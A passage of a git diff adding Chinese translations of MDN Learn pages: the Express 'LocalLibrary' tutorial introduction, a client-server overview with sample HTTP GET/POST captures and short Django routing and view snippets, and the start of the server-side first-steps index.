"Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node 入门</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/development_environment">设置 Node(Express)开发环境</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express 教程:本地图书馆网站</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express 教程 2:创建站点框架</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/mongoose">Express 教程 3:使用数据库(Mongoose)</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/routes">Express 教程 4:路由和控制器</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5:显示图书馆数据</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms">Express 教程 6:使用表单</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/deployment">Express 教程 7:部署至生产环境</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/tutorial_local_library_website/index.html b/files/zh-cn/learn/server-side/express_nodejs/tutorial_local_library_website/index.html new file mode 100644 index 0000000000..86714e0b8a --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/tutorial_local_library_website/index.html @@ -0,0 +1,93 @@ +--- +title: 'Express 教程: 本地图书馆网站' +slug: learn/Server-side/Express_Nodejs/Tutorial_local_library_website +tags: + - Express + - Node + - nodejs + - web框架 + - 初学者 + - 后端框架 + - 学习教程 +translation_of: Learn/Server-side/Express_Nodejs/Tutorial_local_library_website +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">在实战教程第一节中,你将了解要学习哪些内容,对「本地图书馆」示例网站有一个初步的印象 。本章接下来的内容就是逐步完成这个网站。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>阅读 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Introduction">Expres 入门</a>。进行以后的小节还需要阅读 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/development_environment">配置 Node 开发环境</a>。</td> + </tr> + <tr> + <th scope="row">学习目标:</th> + <td>引入本教程的示例应用,了解所涉及的所有主题。</td> + </tr> + </tbody> +</table> + +<h2 id="概览">概览</h2> + +<p>欢迎来到 MDN "本地图书馆" Express (Node) 教程,我们将开发一个管理本地图书馆编目的网站。</p> + +<p>本系列教程中,你将:</p> + +<ul> + <li>使用 <em>Express </em>应用生成器创建一个应用骨架。</li> + <li>启动和停止 Node web 服务器。</li> + <li>使用数据库存放应用数据。</li> + <li>创建路由来处理不同信息的请求,创建模板("视图")来渲染 HTML 数据以在浏览器中显示。</li> + <li>使用表单。</li> + <li>部署应用到生产环境。</li> +</ul> + +<p>你可能已经学过(或之前接触过)其中的部分主题。学完列系教程后,你就拥有足够技能独立开发简单的 Express 应用了。</p> + +<h2 id="本地图书馆网站(LocalLibrary)">本地图书馆网站(LocalLibrary)</h2> + +<p>我们给本地图书馆网站起一个名字——LocalLibrary,这个名字将始终伴随本教程。顾名思义,此网站是为一家小型本地图书馆提供线上图书编目而建,用户可以能够浏览馆藏书目,还能管理自己的帐号。</p> + +<p>本示例是精心挑选的,它规模灵活,可以根据我们的需求进行自由调整。还能演示绝大多数 Express 特性。更重要的是,这里提供的指引对所有网站都适用:</p> + +<ul> + <li>教程前几节中我们将定义一个简单的、只能浏览的图书馆,会员可以在网站找书。通过这几节我们来学习大多数网站都会涉及的一项操作:从数据库读取并呈现内容。</li> + <li>随着教程的进展,图书馆的示例子会逐步扩充,以演示更高级的网站特征。比如我们会加入新增书目的功能,以此来演示表单和用户授权的用法。</li> +</ul> + +<p>尽管这个示例具备相当可观的扩展度,但依然有理由把它叫做<strong>本地</strong>图书馆(<strong>Local</strong>Library)。 我们希望呈现给你最少的信息,从而帮助你尽快上手并运行 Express。因此,我们只保留书名、本数、作者以及其它关键信息。我们会省略掉其它可能用到的信息,也不会提供多图书馆架构或“大型图书馆"等特性的支持。</p> + +<h2 id="我被难住了,哪里有源代码">我被难住了,哪里有源代码?</h2> + +<p>本教程进行过程中,我们将在每个知识点为你提供适当的代码片段,其中一些内容我们希望你能(在一定指引下)自己填充。</p> + +<p>别总是复制粘贴这些片段,试着独立完成,长期来看这样做是有好处的,你下次编写类似代码时将更熟练。</p> + +<p>如果实在进行不下去,可以参考 <a href="https://github.com/mdn/express-locallibrary-tutorial">Github</a> 上的完整版本。</p> + +<div class="note"> +<p><strong>注:</strong>本教程中的代码,已在特定版本(项目的<a href="https://github.com/mdn/express-locallibrary-tutorial/blob/master/package.json"> package.json</a> 所列版本)的 node、Express 及其它模组的环境下通过测试。</p> +</div> + +<h2 id="总结">总结</h2> + +<p>现在,你对 LocalLibrary 网站和即将学习的东西又多了解了一点,下面,我们开始创建一个用于存放它的 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/skeleton_website">框架</a> 吧!</p> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node 入门</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/development_environment">设置 Node(Express)开发环境</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express 教程:本地图书馆网站</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express 教程 2:创建站点框架</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/mongoose">Express 教程 3:使用数据库(Mongoose)</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/routes">Express 教程 4:路由和控制器</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5:显示图书馆数据</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms">Express 教程 6:使用表单</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/deployment">Express 教程 7:部署至生产环境</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/first_steps/client-server_overview/index.html b/files/zh-cn/learn/server-side/first_steps/client-server_overview/index.html new file mode 100644 index 0000000000..c8bb70acd3 --- /dev/null +++ b/files/zh-cn/learn/server-side/first_steps/client-server_overview/index.html @@ -0,0 +1,317 @@ +--- +title: 客户端服务端交互概述 +slug: learn/Server-side/First_steps/Client-Server_overview +tags: + - 服务器端编程 +translation_of: Learn/Server-side/First_steps/Client-Server_overview +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div> + +<p class="summary">既然你已经了解了服务器端编程的目的和潜在的好处,接下来我们将非常细致地去说明当服务器接收到了来自浏览器的“动态请求”时到底发生了什么。因为大多数的服务器端代码通过相似的方式来处理请求并做出响应,这将帮助你理解当编写你自己的大量代码时你需要做什么。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>基本电脑素养、对于什么是网络服务器的基本了解</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解在动态网站中的客户端-服务器端交互过程,尤其是服务器端代码需要承担的工作</td> + </tr> + </tbody> +</table> + +<p>到目前为止的讨论中还没有真正的代码,因为我们还没有选择一个web框架来写我们的代码呢!然而这个讨论仍旧十分重要,因为我们描述的行为必须通过你的服务器端代码来实现,不管你选择什么编程语言和web框架。</p> + +<h2 id="网络服务器和HTTP(入门)">网络服务器和HTTP(入门)</h2> + +<p>网络浏览器通过超文本标记语言传输协议(<a href="/en-US/docs/Web/HTTP">HTTP</a>)与网络服务器(<a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_web_server">web servers</a>)。 当你在网页上点击一个链接、提交一个表单、或者进行一次搜索的时候,浏览器发送一个HTTP请求给服务器。</p> + +<p>这个请求包含:</p> + +<ul> + <li>一个用来识别目标服务器和资源(比如一个HTML文档、存储在服务器上的一个特定的数据、或者一个用来运行的工具等)的URL。 </li> + <li>一个定义了请求行为的方法(比如,获得一个文档或者上传某些数据)。不同的方法/动作以及与他们相关的行为罗列如下: + <ul> + <li>GET:获取一份指定(比如一个包含了一个产品或者一系列产品相关信息的HTML文档)。</li> + <li>POST:创建一份新的资源(比如给wiki增加一片新的文章、给数据库增加一个新的节点)。</li> + <li><code>HEAD</code>: 获取有关指定资源的元数据信息,而不会得到像GET的内容部分。例如,您可以使用HEAD请求来查找上次更新资源的时间,然后仅使用(更“昂贵”)GET请求下载资源(如果已更改)。</li> + <li>PUT:更新一份已经存在的资源(或者在该资源不存在的情况下创建一份新的)。</li> + <li>DELETE:删除指定的资源。</li> + <li><code>TRACE</code>、<code>OPTIONS</code>、<code>CONNECT<font face="Open Sans, arial, sans-serif">、</font>PATCH</code>等动作是为一些不常见任务设计的,因此我们在这里的讲解不会涉及到他们。</li> + </ul> + </li> + <li>额外的信息可以和请求一起被编码(比如HTML表单数据)。信息可以被编码成如下: + <ul> + <li>URL参数:GET请求通过在URL末尾增加的键值对,来编码包含在发送给服务器的URL中的数据——比如,<code>http://mysite.com<strong>?name=Fred&age=11</strong></code>,你经常会用到问号(?)来将URL剩余的部分和URL参数分隔开来,一个赋值符号(=)将名称和与之相关的值分隔开来,然后一个“&”符号分割不同的键值对。当他们被用户改变然后提交时,URL参数具有与生俱来地“不安全性”。因此,一个URL参数或者GET请求是不会用来在服务器上更新数据的。</li> + <li>POST数据:POST请求会增加新的资源,这些数据将会在请求体中编码。</li> + <li>客户端cookie:cookies包含与客户相关的会话数据,服务器可以用这些数据来判断用户的登录状态以及用户是否有访问资源的权限。</li> + </ul> + </li> +</ul> + +<p>网络服务器等待来自客户的请求信息,当请求到达时处理它们,然后发给浏览器HTTP响应消息。回应包含一个HTTP响应状态码(<a href="/en-US/docs/Web/HTTP/Status">HTTP Response status code</a>)来暗示请求是否成功 (比如 "<code>200 OK</code>" 连接成功, "<code>404 Not Found</code>" 资源没有找到, "<code>403 Forbidden</code>" 用户没有被授权查看资源, 等等). 一个成功的响应主体,会包含GET请求所请求的资源.</p> + +<p>当一个HTML页面被返时,页面会被网络浏览器呈现出来。作为处理工作的一部分,浏览器会发现指向其他资源的链接(比如,一个HTML页面通常会参考Javascript和CSS页面),并且会发送独立的HTTP请求来下载这些文件。</p> + +<p>静态网站和动态网站(在接下来的部分讨论到的)正是使用同一种通信协议/模式</p> + +<h3 id="GET请求响应举例">GET请求/响应举例</h3> + +<p>你可以通过点击一个链接或者在网站进行一次搜索(比如搜索引擎的首页)做出一次简单的GET请求。比如,当你在MDN上进行一次对“客户端概览”词条的搜索时,HTTP请求就被发送出去了,你将会看到正如下面一样被展示出来的文本信息(展示出来的信息不一定是相同的,因为其中一部分信息还取决于你的浏览器)。</p> + +<div class="note"> +<p>HTTP消息的格式是在“网络标准”(<a href="http://www.rfc-editor.org/rfc/rfc7230.txt">RFC7230</a>)中定义的。你不需要知道这个标准的细节,但是现在你至少得知道所有这些是来自哪儿的!</p> +</div> + +<h4 id="请求">请求</h4> + +<p>每一行请求都包含着相关信息。第一部分被称为<strong>header</strong>,并且包含着关于这个请求的有用信息,同样地一个<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">HTML head</a>包含着关于HTML文档的有用信息(但是却没有自身的实际内容,内容在主体里面)。</p> + +<pre>GET https://developer.mozilla.org/en- +US/search?q=client+server+overview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev HTTP/1.1 +Host: developer.mozilla.org +Connection: keep-alive +Pragma: no-cache +Cache-Control: no-cache +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Referer: https://developer.mozilla.org/en-US/ +Accept-Encoding: gzip, deflate, sdch, br +<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code> +Accept-Language: en-US,en;q=0.8,es;q=0.6 +Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _gat=1; _ga=GA1.2.1688886003.1471911953; ffo=true +</pre> + +<p>第一行和第二行包含了我们在上面讨论过的大部分信息</p> + +<ul> + <li>请求类型(GET)。</li> + <li>目标资源的URL(<code>/en-US/search</code>)。</li> + <li>URL参数(<code>q=client%2Bserver%2Boverview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev)。</code></li> + <li>目标网站(developer.mozilla.org)。</li> + <li>第一行的末尾也包含了一个简短的包含了标识协议版本的字符串(<code>HTTP/1.1</code>)。</li> +</ul> + +<p>最后一行包括一些关于客户端cookies的信息——你可以看到在这种情况下cookies包含一个为处理远程会话准备的ID(<code>Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...</code>)。</p> + +<p>剩余几行包含着所使用的浏览器以及浏览器所能处理的回应类型等信息。比如,你可以在下面看到这些相关信息:</p> + +<ul> + <li>我的浏览器上(<code>User-Agent</code>)是火狐(<code>Mozilla/5.0</code>).</li> + <li>它可以接收gzip压缩信息(<code>Accept-Encoding: gzip</code>).</li> + <li>它可以接收的具体编码类型(<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code>)和语言(<code>Accept-Language: de,en;q=0.7,en-us;q=0.3</code>).</li> + <li>The <code>Referer</code> line提示包含资源链接的网络地址(或者说请求的来源是 <code>https://developer.mozilla.org/en-US/</code>).</li> +</ul> + +<p>请求也可以有一个请求体,不过在这个例子中请求的请求体是空的。</p> + +<h4 id="回应">回应</h4> + +<p>针对这个请求的回应的第一部分内容展示如下。The header包含了如下信息:</p> + +<ul> + <li>第一行包括了回应状态码200 OK,这告诉我们请求是成功的。</li> + <li> 我们可以看到回应是文本<code>/html格式的</code>(<code>Content-Type</code>).</li> + <li>我们也可以看到它使用的是UTF-8字符集(<code>Content-Type: text/html; charset=utf-8</code>).</li> + <li>The head也告诉我们它有多大(<code>Content-Length: 41823</code>).</li> +</ul> + +<p>在消息的末尾我们可以看到<strong>主体</strong>内容——包含了针对请求返回的真实的HTML。</p> + +<pre class="brush: html">HTTP/1.1 200 OK +Server: Apache +X-Backend-Server: developer1.webapp.scl3.mozilla.com +Vary: Accept,Cookie, Accept-Encoding +Content-Type: text/html; charset=utf-8 +Date: Wed, 07 Sep 2016 00:11:31 GMT +Keep-Alive: timeout=5, max=999 +Connection: Keep-Alive +X-Frame-Options: DENY +Allow: GET +X-Cache-Info: caching +Content-Length: 41823 + + + +<!DOCTYPE html> +<html lang="en-US" dir="ltr" class="redesign no-js" data-ffo-opensanslight=false data-ffo-opensans=false > +<head prefix="og: http://ogp.me/ns#"> + <meta charset="utf-8"> + <meta http-equiv="X-UA-Compatible" content="IE=Edge"> + <script>(function(d) { d.className = d.className.replace(/\bno-js/, ''); })(document.documentElement);</script> + ... +</pre> + +<p>header的剩余部分还包括一些回应的其他信息(比如回应在什么时候生成的),有关服务器的信息,还有它期望浏览器如何处理这个包(比如, <code>X-Frame-Options: DENY</code> 告诉浏览器不允许这个网页嵌入在其他网站的HTML元素{{htmlelement("iframe")}}上。</p> + +<h3 id="POST_请求响应举例">POST 请求/响应举例</h3> + +<p>当你提交一个表单,并且希望表单所包含的信息存储到服务器的时候,你就生成了一次HTTP POST请求。</p> + +<h4 id="请求_2">请求</h4> + +<p>下面的文本展示了当用户在网站上提交新的文件的时候,生成的一个HTTP请求的格式和之前展示的GET请求是非常相似的,只是第一行标识这个请求为POST。</p> + +<pre class="brush: html">POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1 +Host: developer.mozilla.org +Connection: keep-alive +Content-Length: 432 +Pragma: no-cache +Cache-Control: no-cache +Origin: https://developer.mozilla.org +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 +Content-Type: application/x-www-form-urlencoded +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Referer: https://developer.mozilla.org/en-US/profiles/hamishwillee/edit +Accept-Encoding: gzip, deflate, br +Accept-Language: en-US,en;q=0.8,es;q=0.6 +Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; _gat=1; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _ga=GA1.2.1688886003.1471911953; ffo=true + +csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&user-username=hamishwillee&user-fullname=Hamish+Willee&user-title=&user-organization=&user-location=Australia&user-locale=en-US&user-timezone=Australia%2FMelbourne&user-irc_nickname=&user-interests=&user-expertise=&user-twitter_url=&user-stackoverflow_url=&user-linkedin_url=&user-mozillians_url=&user-facebook_url=</pre> + +<p>最主要的不同在于URL不再包含任何参数。正如你所见,表单提交的信息被编码后放入消息主体中了。(比如:使用以下命令设置新的用户全名:<code>&user-fullname=Hamish+Willee</code>)</p> + +<h4 id="响应">响应</h4> + +<p>请求的响应如下。状态码"302 FOUND"告知浏览器,服务端已收到它提交的post请求,它必须再发出第二个HTTP请求来加载<code>Location</code>字段中指定的页面。对于其他方面的信息含义,则与<code>GET</code>请求的响应信息类似。</p> + +<pre class="brush: html">HTTP/1.1 302 FOUND +Server: Apache +X-Backend-Server: developer3.webapp.scl3.mozilla.com +Vary: Cookie +Vary: Accept-Encoding +Content-Type: text/html; charset=utf-8 +Date: Wed, 07 Sep 2016 00:38:13 GMT +Location: https://developer.mozilla.org/en-US/profiles/hamishwillee +Keep-Alive: timeout=5, max=1000 +Connection: Keep-Alive +X-Frame-Options: DENY +X-Cache-Info: not cacheable; request wasn't a GET or HEAD +Content-Length: 0 +</pre> + +<div class="note"> +<p><strong>注意</strong>: 上面展示的HTTP请求和响应式通过Fiddler软件来捕获的,你也可以得到相似的信息通过使用网络嗅探器(比如<a href="http://web-sniffer.net/">http://web-sniffer.net/</a>)或者使用浏览器扩展例如 <a href="https://addons.mozilla.org/en-US/firefox/addon/httpfox/">HttpFox</a>。你可以自己尝试一下。使用任何一个上面链接的工具,浏览一个站点并修改主要信息来观察不同的请求和响应。更多的现代浏览器拥有网络监控工具(例如,在Firefox上的 <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a> 工具)。</p> +</div> + +<h2 id="静态网站">静态网站</h2> + +<p>静态网站是指每当请求一个特定的资源时,会从服务器返回相同的硬编码内容。因此,例如,如果您在 <code>/static/myproduct1.html</code> 有一个关于产品的页面,则该页面将返回给每个用户。如果您添加另一个类似的产品到您的网站,您将需要添加另一个页面(例如 <code>myproduct2.html</code> )等。这可能开始变得非常低效 :当您访问数千个产品页面时会发生什么——你会在每个页面(基本的页面模板,结构等等)上重复很多代码,如果你想改变页面结构的任何东西,比如添加一个新的“相关产品”部分,必须单独更改每个页面。</p> + +<div class="note"> +<p><strong>注释</strong>: 当你有少量页面时,向每个用户发送相同的内容时,静态网站是最佳选择, 然而随着页面数量的增加,它们的维护成本也会很高。</p> +</div> + +<p>让我们回顾一下在上一篇文章中看到的静态网站架构图,看看它是如何工作的。</p> + +<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png"></p> + +<p>当用户想要导航到页面时,浏览器会发送一个指定HTML页面的URL的HTTP的<code>GET</code>请求。<br> + 服务器从它的文件系统中检索所请求的文档,并返回包含文档和HTTP响应状态码“<code>200 OK</code>”(表示成功)的HTTP响应。服务器可能会返回一个不同的状态码,例如,"<code>404 Not Found</code>"表明文件不在服务器上,或者"<code>301 Moved Permanently</code>"表明如果文件存在,则被重定向到另一个位置。</p> + +<p>静态站点的服务器只需要处理 GET 请求,因为服务器不存储任何可修改的数据。它也不会根据HTTP请求数据(例如 URL 参数或 cookie)更改响应。</p> + +<p>了解静态站点如何工作在学习服务器端编程时非常有用,因为动态站点以完全相同的方式处理对静态文件(CSS、JavaScript、静态图像等)的请求。</p> + +<h2 id="动态网站">动态网站</h2> + +<p>动态站点可以根据特定的请求 URL 和数据生成和返回内容(而不是总是返回同一个URL的硬编码文件)。使用产品网页的示例,服务器将把产品“数据”存储在数据库中,而不是单独的HTML文件。当接收到一个产品的HTTP <code>GET</code> 请求时,服务器将确定产品 ID,从数据库中获取数据,然后通过将数据插入到HTML模板中来构造响应的HTML页面。与静态站点相比,这有很大的优势</p> + +<p>通过使用数据库,可以有效地将产品信息存储在易于扩展、可修改和可搜索的方式中。</p> + +<p>使用 HTML 模板可以很容易地改变HTML结构,因为这只需要在一个模板中的某一处地方完成,而不需要跨越数千个静态页面。</p> + +<h3 id="剖析动态请求">剖析动态请求</h3> + +<p>本节将逐步概述“动态” HTTP 请求和响应周期,以更详细的内容构建我们在上一篇文章中所看到的内容。为了“让事情保持真实”,我们将使用一个体育团队经理网站的情景,在这个网站上,教练可以用 HTML 表单选择他们的球队名称和球队规模,并为他们的下一场比赛中获得建议的“最佳阵容”。</p> + +<p>下面的图表显示了“球队教练”网站的主要元素,以及当教练访问他们的“最佳团队”列表时,操作序列的编号。使其动态的站点的部分是 <em>Web 应用程序</em>(这就是我们将如何引用处理 HTTP 请求并返回 HTTP 响应的服务器端代码)数据库,该数据库包含关于球员、球队、教练及其关系以及HTML 模板的信息。</p> + +<p><img alt="This is a diagram of a simple web server with step numbers for each of step of the client-server interaction." src="https://mdn.mozillademos.org/files/13829/Web%20Application%20with%20HTML%20and%20Steps.png" style="height: 584px; width: 1226px;"></p> + +<p>在教练提交球员名单和球员人数后,其操作顺序为:</p> + +<ol> + <li>Web 浏览器使用资源的基本 URL(<code>/best</code>)来创建一个HTTP <code>GET</code>请求,将球队和球员编号附加到URL后面作为参数(例如 <code>/best?team = my_team_name&show = 11</code>)或作为URL地址的一部分(例如 <code>/best/my_team_name/11/</code>)。使用<code>GET</code>请求是因为请求只是获取数据(而不是修改数据)。</li> + <li>Web 服务器检测到请求是“动态的”,并将其转发给 Web 应用程序(Web Application)进行处理( Web 服务器根据其配置中定义的模式匹配规则确定如何处理不同的 URL )。</li> + <li>Web 应用程序(Web Application)确定请求的意图是根据 URL(<code>/best/</code>)获得“最佳团队列表”,并从 URL 中找出所需的球队名称和球员人数。然后,Web 应用程序(Web Application)从数据库中获取所需的信息(使用额外的“内部”参数来定义哪些球员是“最好”的,并且可能还从客户端 cookie 获得登录教练的身份)。</li> + <li>Web应用程序(Web Application)通过将数据(来自数据库)放入 HTML 模板中的占位符中动态地创建 HTML页面。</li> + <li>Web应用程序(Web Application)将生成的HTML(通过Web服务器)和HTTP状态代码200(“成功”)返回到Web浏览器。如果有任何东西阻止HTML被返回,那么Web应用程序将返回另一个状态代码 - 例如“404”来表示球队不存在。</li> + <li>然后,Web 浏览器将开始处理返回的 HTML ,发送单独的请求以获取其引用的任何其他 CSS 或 JavaScript 文件(请参阅步骤7)。</li> + <li>Web 服务器从文件系统加载静态文件,并直接返回到浏览器(同样,正确的文件处理基于配置规则和URL模式匹配)。</li> +</ol> + +<p>在服务器中,更新数据库中的记录的操作将被类似地与上述过程一样处理,但是更新数据库的这一类的操作,应该指定来自浏览器的HTTP请求为<code>POST</code>请求。</p> + +<h3 id="完成其他工作">完成其他工作</h3> + +<p>Web 应用程序(Web Application)的工作是接收 HTTP 请求并返回 HTTP 响应。虽然与数据库交互以获取或更新信息是非常常见的功能,但是代码也可能同时做其他事情,甚至不与数据库交互。<br> + <br> + 一个 Web 应用程序(Web Application)可能执行的额外任务的一个很好的例子就是发送一封电子邮件给用户,以确认他们在网站上的注册。该网站也可能执行日志记录或其他操作。</p> + +<h3 id="返回HTML以外的内容">返回HTML以外的内容</h3> + +<p>服务器端网站代码并非只能在响应中返回 HTML 代码片段/文件。它可以动态地创建和返回其他类型的文件(text,PDF,CSV 等)甚至是数据(JSON,XML等)。<br> + <br> + 将数据返回到 Web 浏览器以便它可以动态更新自己的内容(AJAX)的想法实现已经有相当长的一段时间了。最近,“单页面应用程序”已经变得流行起来,整个网站用一个 HTML 文件编写,在需要时动态更新。使用这种风格的应用程序创建的网站将大量的计算成本从服务器推向网络浏览器,并可能导致网站表现出更像本地应用程序(高度响应等)。</p> + +<h2 id="web框架简化服务器端的web编程">web框架简化服务器端的web编程</h2> + +<p>服务器端web框架使得编写解决我们上面描述的操作的代码变得简单得多。</p> + +<p>web 框架可以提供的一个最重要的功能就是,提供简单的机制,以将不同的资源和页面定位到具体的处理函数。这使得保持代码和各个不同形式的资源的联系变得简单。它也非常利于代码的维护,因为你可以直接改变在一个地方用来传输特定功能的URL,而不用改变处理函数。</p> + +<p>举个例子,我们来思考一下下面的 Django(python) 代码,这些代码将两个 URL 地址定位到两个页面。第一个地址确保了,一个包含了 <code>/best/</code> URL 的 HTTP 请求,可以被传递到一个在<code>views</code>模块的被命名为<code>index()</code>的函数。一个含有"<code>/best/junior</code>"的请求则会被传递到<code>junior()</code>视图函数。</p> + +<pre class="brush: python"># file: best/urls.py +# + +from django.conf.urls import url + +from . import views + +urlpatterns = [ + # example: /best/ + url(r'^$', views.index), + # example: /best/junior/ + url(r'^junior/$', views.junior), +]</pre> + +<div class="note"> +<p><strong>注意</strong>: 在<code>url()</code>函数中的第一个参数可能看起来有点古怪 (比如<code>r'^junior/$</code>) 因为他们使用一个叫做“正则表达式”(RegEx, or RE)的字符匹配机制。在这里,你还不需要知道正则表达式是如何工作的,除了要知道它们是如何允许我们在URL中匹配到字符的 (而不是像上面的硬编码) 并且知道如何在我们的视图函数中将它们用作参数。举个例子,一个真正简单的正则表达式可能会说“匹配一个大写字母,后面跟着4到7个小写字母”"</p> +</div> + +<p>Web 框架还可以轻松地使用查看函数,从数据库获取信息。我们的数据结构是在模型中定义的,模型是定义要存储在底层数据库中的字段的Python类。如果我们有一个名为Team的模型,其中有一个“<em>team_type</em>”字段,那么我们可以使用一个简单的查询语法来取回所有具有特定类型的球队。</p> + +<p>下面的例子得到了所有字段team_type(区分大小写)为“junior”的所有球队的列表 - 注意格式:字段名称(team_type),后面跟着双下划线,然后是使用的匹配类型)。还有很多其他的匹配类型,我们可以组合他们。我们也可以控制返回结果的顺序和数量。</p> + +<pre class="brush: python">#best/views.py + +from django.shortcuts import render + +from .models import Team + + +def junior(request): + list_teams = Team.objects.filter(team_type__exact="junior") + context = {'list': list_teams} + return render(request, 'best/index.html', context) +</pre> + +<p><code>junior()</code>函数获得少年组列表后,它调用<code>render()</code>函数,传递原始的HttpRequest,一个HTML模板和一个定义要包含在模板中的信息的“context”对象。 <code>render()</code>函数是一个方便的函数,它使用上下文和HTML模板生成 HTML,并将其返回到 <code>HttpResponse</code> 对象中</p> + +<p>显然地 web 框架可以帮助你解决很多问题。我们在下一篇文章里将会大量讨论这些好处和一些流行的web框架。</p> + +<h2 id="总结">总结</h2> + +<p>到这里你应该对于服务器端代码不得不进行的操作有一个整体上的理解,并且知道一个服务器端web框架是从那些方面让这些变得更简单的。</p> + +<p>在接下来的模块里面我们会帮助你选择对于你的第一个网站来说最适合的web框架。</p> + +<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p> diff --git a/files/zh-cn/learn/server-side/first_steps/index.html b/files/zh-cn/learn/server-side/first_steps/index.html new file mode 100644 index 0000000000..c047603f72 --- /dev/null +++ b/files/zh-cn/learn/server-side/first_steps/index.html @@ -0,0 +1,46 @@ +--- +title: 服务端网站编程的第一步 +slug: learn/Server-side/First_steps +tags: + - 初学者 + - 学习 + - 服务端编程 + - 脚本编程 +translation_of: Learn/Server-side/First_steps +--- +<div>{{LearnSidebar}}</div> + +<div>在我们的服务端编程板块中,我们回答了服务端编程的一系列基础问题—“它是什么?”,“它和客户端编程的区别是什么?”,还有“为什么它是有价值的?”。然后我们提供了对几个最受欢迎的服务端Web框架的概览,同时还有对如何选择最适合的框架来创建你第一个网站的指导。最后我们提供了一篇从高层次介绍Web服务器安全的文章。</div> + +<div></div> + +<h2 id="先决条件">先决条件</h2> + +<p>在开始这个模块之前,你不必知道任何关于服务端网站编程的知识,或者任何一种其他编程经验。</p> + +<p>你需要先知道“Web如何工作”,我们推荐你首先阅读下面几个话题:</p> + +<ul> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Common_questions/What_is_a_web_server">什么是一个Web服务器?</a></li> + <li><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">建立一个网站需要什么软件?</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Common_questions/Upload_files_to_a_web_server">如何向Web服务器上传文件?</a></li> +</ul> + +<p>有了这些基础知识,你已经准备好开始这些模块的学习了。</p> + +<h2 id="引导">引导</h2> + +<dl> + <dt><a href="/zh-CN/docs/learn/Server-side/First_steps/Introduction">服务端简介</a></dt> + 